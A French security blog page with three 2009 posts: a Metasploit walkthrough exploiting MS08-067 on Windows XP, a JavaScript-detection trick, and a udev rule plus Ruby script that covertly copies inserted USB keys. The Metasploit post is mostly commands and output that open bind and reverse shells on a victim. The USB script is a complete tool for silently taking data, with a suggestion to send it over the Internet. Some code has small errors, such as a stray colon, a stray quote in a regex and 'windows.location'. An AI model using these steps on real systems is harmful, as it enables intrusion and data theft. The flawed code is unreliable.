mardi 27 octobre 2009

Premiers pas avec Metasploit

Metasploit est un framework permettant le développement et l'exécution d'exploits. Son auteur principal est le célèbre chercheur en sécurité HD Moore.
Le Metasploit framework est un outil open source (redéveloppé en ruby depuis sa version 3) incontournable pour toutes les personnes voulant faire leurs premiers pas dans le monde du pentest. Il est comparable aux outils commerciaux que sont CANVAS de Immunity ou Core Impact, mais Metasploit a l'avantage d'être totalement gratuit et open source :) En tout cas pour le moment, étant donné qu'il vient d'être racheté par la société Rapid7. A priori les premières informations vont dans le sens de la continuité... espérons que cela soit réellement le cas.

Pour cet exemple j'utilise la version svn de metasploit. Un excellent cours est disponible sur le site de offensive security qui développe BackTrack et est disponible ici.
time0ut# svn co https://metasploit.com/svn/framework3/trunk
On accepte le certificat comme expliqué sur le site et le téléchargement commence. Metasploit arrive avec une base de données importante d'exploits (433 à l'heure ou j'écris ces lignes) et de payloads (262).
Il y a plusieurs façons d'utiliser cet outil : via une interface WEB, via une interface GTK, via une interface console, via la ligne de commande... Les interfaces WEB et GTK, bien que plus WAF ne sont pas exempt de bugs. Nous préfèrerons donc l'utilisation de l'interface console, plus aboutie et plus puissante. La ligne de commande servira pour l'automatisation par exemple et ne sera pas vue dans cet article.

Le lancement de l'interface console se fait grâce au script ruby msfconsole.
time0ut# ./msfconsole

                                  _       _
             _                   | |     (_)_
 ____   ____| |_  ____  ___ ____ | | ___  _| |_
|    \ / _  )  _)/ _  |/___)  _ \| |/ _ \| |  _)
| | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
|_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
                           |_|


       =[ msf v3.3-beta [core:3.3 api:1.0]
+ -- --=[ 433 exploits - 262 payloads
+ -- --=[ 21 encoders - 8 nops
       =[ 209 aux

msf > 
A n'importe quel moment dans la console, il est possible d'utiliser la commande help pour avoir de l'aide.
Il est important de bien faire la différence entre l'exploit et le payload. L'exploit est le code qui va permettre d'exploiter la vulnérabilité. Le code qui va par exemple permettre d'arriver à faire un buffer overflow dans l'application cible. Le payload est quant à lui la charge utile que l'on va faire exécuter, comme par exemple l'ouverture d'un port sur la machine relié à un shell, la création d'un nouvel utilisateur ou encore l'ouverture d'une session VNC. Bien entendu tous les exploits ne permettent pas d'utiliser tous les payloads, mais metasploit se charge de nous dire quels sont les payloads possibles pour un exploit donné.

Dans cet exemple, nous allons utiliser la vulnérabilité découverte fin 2008, qui touche les machines Windows, la célèbre MS08-067 qui a été largement utilisée par le ver Conficker.

Pour cela, il faut trouver l'exploit, grâce à la commande search par exemple et le sélectionner avec la commande use.
msf > search ms08-067
[*] Searching loaded modules for pattern 'ms08-067'...

Exploits
========

   Name                         Description
   ----                         -----------
   windows/smb/ms08_067_netapi  Microsoft Server Service Relative Path Stack Corruption

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > 
Il est possible d'avoir des informations sur cet exploit avec la commande info.
msf exploit(ms08_067_netapi) > info windows/smb/ms08_067_netapi

       Name: Microsoft Server Service Relative Path Stack Corruption
    Version: 6865
   Platform: Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)

Provided by:
  hdm 
  Brett Moore 

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting
  1   Windows 2000 Universal
  2   Windows XP SP0/SP1 Universal
  3   Windows XP SP2 English (NX)
  4   Windows XP SP3 English (NX)
...

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  RHOST                     yes       The target address
  RPORT    445              yes       Set the SMB service port
  SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload information:
  Space: 400
  Avoid: 8 characters

Description:
  This module exploits a parsing flaw in the path canonicalization 
  code of NetAPI32.dll through the Server Service. This module is 
  capable of bypassing NX on some operating systems and service packs. 
  The correct target must be used to prevent the Server Service (along 
  with a dozen others in the same process) from crashing. Windows XP 
  targets seem to handle multiple successful exploitation events, but 
  2003 targets will often crash or hang on subsequent attempts. This 
  is just the first version of this module, full support for NX bypass 
  on 2003, along with other platforms, is still in development.

References:
  http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250
  http://www.osvdb.org/49243
  http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx
Chaque exploit peut nécessiter une configuration, qu'il est possible de voir avec la commande show options. Ici la variable RHOST doit être précisée. Elle représente l'adresse IP de la machine victime. Les autres variables ont des valeurs par défaut et peuvent être modifiées si besoin.
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.5
RHOST => 192.168.0.5
msf exploit(ms08_067_netapi) >
Maintenant il faut choisir le payload que l'on va utiliser. Les payloads disponibles pour cet exploit se trouvent avec la commande show payloads. Un multitude de payloads existent pour cet exploit, je n'en ai donc affiché que quelques uns. La sélection du payload se fait via la commande set PAYLOAD payload_a_utiliser. Enfin comme pour les exploits, les payloads nécessitent parfois une configuration que l'on peut toujours voir avec la commande show options.
msf exploit(ms08_067_netapi) > show payloads
...
   windows/shell/bind_tcp                           Windows Command Shell, Bind TCP Stager
   windows/shell/reverse_tcp                        Windows Command Shell, Reverse TCP Stager
...

msf exploit(ms08_067_netapi) > info windows/shell/bind_tcp

       Name: Windows Command Shell, Bind TCP Stager
    Version: 7075, 7075
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 298

Provided by:
  spoonm 
  sf 
  hdm 
  skape 

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  thread           yes       Exit technique: seh, thread, process
LPORT     4444             yes       The local port
RHOST                      no        The target address

Description:
  Listen for a connection, Spawn a piped command shell

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) >
La commande info nous permet de voir que tous les paramètres du payload sont renseignés. Il ne manque plus qu'à réellement lancer l'exploit, ce qui se fait avec la commande exploit ou run.
msf exploit(ms08_067_netapi) > exploit

[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.0.2:45290 -> 192.168.0.5:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> owned :)
Comme on peut le remarquer, l'exploit a fonctionné puisqu'on tombe sur un shell Windows :) Le payload windows/shell/bind_tcp a ouvert le port 4444 sur la machine victime, et metasploit c'est automatiquement connecté dessus.

Le problème c'est que beaucoup de machines sont derrière un équipement qui fait du NAT. Donc si le port ouvert sur la machine victime (ici 4444) n'est pas redirigé, impossible de prendre la main sur la machine...

Le payload windows/shell/reverse_tcp peut être beaucoup plus utile dans bien des cas comparé au payload windows/shell/bind_tcp. La différence est que le premier ne va pas ouvrir un port sur la machine victime mais va faire une connexion TCP sur l'adresse IP de la machine qui sera pointée par la variable LHOST (la machine qui utilise metasploit). Donc plutôt que la machine metasploit initie la connexion vers la machine victime, c'est la machine victime qui va initier la connexion vers la machine metasploit. Beaucoup plus pratique pour exploiter une machine qui se trouverait derrière un NAT ou un firewall ;)
msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.0.5     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LHOST                      yes       The local address
   LPORT     4444             yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) > set LHOST 192.168.0.2
LHOST => 192.168.0.2
msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 2 opened (192.168.0.2:4444 -> 192.168.0.5:1033)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32> owned again through NAT :)

dimanche 25 octobre 2009

Détecter la présence du support du javascript

Il est parfois nécessaire de savoir si le navigateur qui va télécharger notre page gère ou non le javascript. Il y a la balise HTML <noscript> qui permet d'exécuter un code particulier au cas où le navigateur ne supporterait pas le langage de script, mais ce code est exécuté coté client, et donc on a aucune information coté serveur. L'idée est de forcer le navigateur à faire une requête HTTP différente s'il supporte le javascript ou s'il ne le supporte pas. En fonction de la requête que l'on reçoit, on pourra adapter le contenu de notre site. Pour faire une requête automatique en HTML (sans utiliser le javascript), il faut utiliser cette requête :
<meta http-equiv="refresh" content="2,ma_page.php?js=0">
Cette requête dit que dans 2 secondes, il faudra charger la page ma_page.php?js=0. Pour faire une requête automatique en Javascript, il faut utiliser cette requête :
window.location = "ma_page.php?js=1"
Au final, en envoyant la page html suivante au navigateur, on peut détecter si le navigateur supporte ou non le langage de script.
<html>
  <head>
    <meta http-equiv="refresh" content="2,ma_page.php?js=0">
  </head>
  <body>
    <script type="text/javascript">
      windows.location = "ma_page.php?js=1";
    </script>
  </body>
</html>
S'il ne le supporte pas, le code javascript ne sera pas exécuté et donc 2 secondes après le chargement de la page, une requête sera faite sur ma_page.php avec un paramètre js à 0. S'il le supporte, le code javascript sera directement exécuté avec en conséquence un appel à la page ma_page.php avec un paramètre js à 1, sans que la redirection HTML ait le temps de se faire. Cette méthode peut être fort utile pour éviter d'envoyer un code javascript qui ne sera de toute façon pas exécuté... ;)

mardi 13 octobre 2009

Danger pour les clés usb

On parle beaucoup du risque des clefs USB pour les PC car c'est un excellent vecteur d'infection (utilisé par conficker par exemple), mais on parle beaucoup moins du risque de perte de confidentialité dû à l'insertion d'une clef USB dans un PC inconnu. Ce risque est pourtant important comme je vais le montrer ici.

L'objectif ici est de copier le contenu de la clef USB (dump) sur le PC dans laquelle elle est insérée et tout ceci à l'insu de son utilisateur. Pour cela je vais utiliser une machine tournant sous Linux, mais il existe bien entendu des équivalents sous Windows.

Sous Linux, le gestionnaire de périphériques depuis le noyau 2.6 s'appelle udev. Il permet de gérer les différents périphériques du répertoire /dev, et de notamment permettre l'exécution d'une commande lors de l'insertion d'un de ces périphériques. C'est exactement ce dont nous avons besoin : exécuter un programme qui copiera le contenu de la clef USB lors de son insertion.

Udev se configure à l'aide de règles que l'on peut trouver dans le répertoire /etc/udev/rules.d et dans le répertoire /lib/udev/rules.d. On commence par créer un nouveau fichier, que l'on va appeler 90_usbdump.rules. Les fichiers sont lus en commençant d'abord par le plus petit chiffre, puis le plus grand. En commençant par 90 on s'assure dans notre exemple que notre fichier sera lu en dernier.

Voilà le contenu de ce fichier :
ACTION=="add", KERNEL=="sd*", RUN+="/root/bin/usb_dumper.rb"

La syntaxe des fichiers rules peut se trouver ici. La règle de ce fichier veut dire, que si c'est une action d'ajout et qu'il y a création d'un device de type sd (sda, sdb, sdc, sda1...), alors on va exécuter le programme suivant /root/bin/usb_dumper.rb. De manière générale, le signe "==" entraîne une condition et le signe "+=" entraîne une réaction qui devra être réalisée si toutes les conditions précédentes sont respectées.

Voilà tout est fait, il ne reste plus qu'à coder le programme usb_dumper.rb qui se chargera de copier le contenu de la clef USB.
J'ai choisi de faire ce programme en ruby (d'où l'extension rb), pour apprendre ce langage qui est nouveau pour moi.

Lors de l'exécution du programme spécifié dans le paramètre RUN, de nombreuses variables d'environnement sont créées qui vont nous permettre d'obtenir les informations nécessaires à la réalisation de notre programme. Le programme suivant permet de récupérer toutes ces variables (il faut changer la commande RUN pour exécuter ce programme) :

#!/usr/bin/env ruby
file = File.new("/root/tmp/log", "a+"):
ENV.each {|k,v| file.puts "#{k}:#{v}"}
file.close();

Le résultat après insertion de la clef usb permet de donner quelques informations importantes comme le type d'action qu'il y a eu (insertion, extraction...), le device responsable (/dev/sdb par exemple), le bus utilisé... Ces informations vont permettre à notre programme de savoir où chercher la clef et aussi de faire différentes actions en fonction du port usb physique utilisé par exemple.

Le code source de usb_dumpe.rb est fourni commenté.
#!/usr/bin/env ruby

require 'fileutils'

# Fichier de log pour savoir ce qui c'est passé
log_file_name = "/root/usb_dump/log"
max_try = 10

# Répertoire de destination du dump de la clef
dest = "/root/usb_dump"

# Si la clef est insérée sur le port physique numéro 1, on ne la dump pas
exclude_usb_port = "1"

# Si la clef est insérée sur le port physique numéro 4, on fait un dump rapide
fast_usb_port = "4"

# Taille max des fichiers a recuperer lors d'un dump rapide
max_size = 5000000

# Temps maximum que l'on s'autorise lors d'un dump rapide
max_time = 60

# Recuperation du device cree (de type /dev/sdb)
device = ENV['DEVNAME']

log_file = File.new(log_file_name, "a+")

# La variable d'environnement ID_PATH nous permet de savoir sur quel port physique on est
if ENV['ID_PATH'].grep(/usb-0:#{exclude_usb_port}:/).length != 0
   log_file.puts "#{ENV['ID_SERIAL']} ignore car present sur un port exclu\n\n"
   exit(0)
end

try = 1

log_file.puts "Lancement usb_dump.rb sur #{device}\n"

# Notre programme est appelé avant que la clef soit montée... on attend donc
while `mount`.grep(/#{device}/).length == 0 and try <= max_try
   sleep(1)
   try += 1
end

if try > max_try
   log_file.puts "USB non monte\n"
   exit(1)
end

# On récupère le répertoire sur lequel la clef est montée
mount_point = `mount`.grep(/#{device}/")[0].gsub(/.*on (.+) type.*$/,'\1').chomp
log_file.puts "Mount Point : #{mount_point}\n"

# Creation du repertoire de stockage
log_file.puts "###### #{ENV['ID_SERIAL']} #{ENV['ID_PATH']} ######\n"
dest += "/" + ENV['ID_SERIAL'] + "_" + Time.now.strftime('%Y%m%d_%H%M')
FileUtils.mkdir(dest)
log_file.puts "Creation de #{dest}...\n"

# On prend le temps de démarrage au cas où on devrait respecter une durée maximale
start_time = Time.now

# On parcourt recursivement la clef
Dir[mount_point + "/**/*"].each do |f|

   # Si on est sur le port physique qui demande de la rapidité, on vérifie qu'on a pas dépassé le temps maximum
   if ENV['ID_PATH'].grep(/usb-0:#{fast_usb_port}:/).length != 0
      current_time = Time.now
      log_file.puts "Temps : #{current_time - start_time} #{current_time - start_time >= max_time}\n"
      if current_time - start_time >= max_time
         log_file.puts "Stop car depassement du temps\n\n"
         exit(0)
      end
   end

   log_file.puts "#{f}"
   dst = dest + f[mount_point.length,f.length]
   if File.directory?(f)
      FileUtils.mkdir(dst)
      log_file.puts "Creation de #{dst}...\n"
   elsif File.file?(f)
      # Si on est sur le port physique qui demande de la rapidité, on ne copie pas les gros fichiers
      if ENV['ID_PATH'].grep(/usb-0:#{fast_usb_port}:/).length != 0 and File.size(f) > max_size
         file_size = File.size(f)
         log_file.puts "Fichier #{f} trop volumineux : #{file_size}\n"
      else
         FileUtils.copy_file(f,dst)
         log_file.puts "Copie de #{f} vers #{dst}...\n"
      end
   end
end
log_file.puts "\n\n"
log_file.close()

Comme on peut le voir, en quelques lignes de codes on peut très facilement mettre en place un système qui aspirera le contenu d'une clef USB de façon complètement transparente pour l'utilisateur.
Le script fait la distinction entre 3 catégories de port USB. Un port qui n'aspirera pas le contenu de la clef (utile pour ne pas se faire aspirer sa propre clef), un port qui aspirera le contenu des clefs en se limitant aux fichiers inférieurs à une certaine taille et limité dans le temps (dans le cas où on ne peut pas se permettre de garder la clef trop longtemps) et tous les autres ports feront une copie de tout le contenu de la clef.

Il est bien entendu possible d'adapter ce script, pour par exemple limiter la copie à certains types de fichiers, envoyer le contenu directement sur Internet...

Il est donc impératif de faire très attention quand on branche sa clef USB sur une machine inconnue, sous peine de voir le contenu de notre clef dupliqué sur l'ordinateur (voire carrément transféré directement sur Internet). La seule parade à cela reste de chiffrer l'ensemble de nos fichiers confidentiels, par l'intermédiaire de truecrypt par exemple.

Update :
Equivalents Windows : USBDumper et USBVirusScan (Merci Rémy).